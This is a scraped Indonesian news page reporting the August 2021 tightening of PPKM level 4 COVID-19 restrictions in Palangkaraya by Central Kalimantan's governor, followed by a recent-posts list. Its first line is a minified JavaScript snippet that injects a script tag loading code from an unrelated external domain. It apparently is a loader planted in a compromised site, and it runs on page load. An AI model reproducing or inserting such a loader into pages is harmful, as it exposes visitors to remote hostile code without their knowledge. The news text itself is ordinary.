(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Tengah

Palangkaraya PPKM Level 4 Diperketat, Gubernur Kalteng: Jangan Lengah, Angka Kematian Meningkat


KANALKALIMANTAN.COM, PALANGKARAYA – Gubernur Kalimantan Tengah H Sugianto Sabran menandatangani Surat Instruksi Gubernur Kalimantan Tengah Nomor 180.17/175/2021 per tanggal 2 Agustus 2021 tentang Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) level 4 dan level 3.

Kemudian optimalisasi posko penanganan Covid-19 tingkat desa dan kelurahan di wilayah Kalimantan Tengah.

Sedangkan untuk Kota Palangkaraya, Gubernur Kalteng telah memutuskan untuk  penerapan PPKM level 4 diperketat.

“Semua ini dilakukan dengan semangat untuk menyelamatkan dan melindungi masyarakat Kalimantan Tengah,” kata Gubernur Kalteng, Selasa (3/8/2021).

 

 

Baca juga: BREAKING NEWS. PPKM Level 4 di Kota Banjarbaru Diperpanjang 9 Agustus

Oleh sebab itu ia mengimbau kepada seluruh pemangku kepentingan, khususnya para bupati/ wali kota agar melaksanakan instruksi tersebut dengan sebaik-baiknya.

Tak lupa ia meminta agar melaporkan pelaksanaannya kepada dirinya, selaku Ketua Satgas Penanganan Covid-19 Provinsi Kalimantan Tengah.

Walaupun berdasarkan penilaian Kemendagri, saat ini Kalimantan Tengah memiliki tingkat kepatuhan dan kesadaran masyarakat tertinggi yakni 98,27 persen dalam menaati protokol kesehatan khususnya penggunaan masker.

Namun hal ini, hendaknya tidak lantas membuat lengah, karena beberapa pekan ini kasus konfirmasi dan angka kematian di Kalimantan Tengah meningkat.

Baca juga: Lika Liku Bantuan Rp 2 Triliun Akidi Tio Berujung Tersangka Lalu Dibatalkan

Secara konstitusional pemerintah bertanggung jawab menangani pandemi ini, tetapi tentunya masyarakat juga harus mengambil peran dan tanggung jawab.

“Saya mengajak seluruh masyarakat Kalimantan tengah  untuk dapat melaksanakan anjuran dan aturan khususnya tetap mematuhi prokes dan melaksanakan vaksinasi,” ujarnya.

Sampai dengan hari ini sudah 1.000 lebih masyarakat kalteng yang meninggal. Tentu saja membuat ia sangat sedih melihat kenyataan ini. (kanalkalimantan.com/tri)

Reporter: tri
Editor: bie


Al Ghifari

Recent Posts

Haul Dua Wali Allah di Cempaka yang Sangat Dermawan dan Hidup Sederhana

KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More

2 jam ago

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

3 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

6 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

6 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

6 jam ago

Wagub Edy Pratowo Maju Pilkada Kalteng, Siap Dipasang Posisi Apapun

KANALKALIMANTAN.COM, PALANGKARAYA - Wakil Gubernur (Wagub) Kalimantan Tengah (Kalteng), Edy Pratowo, mengumumkan keputusannya untuk mendaftarkan… Read More

7 jam ago

This website uses cookies.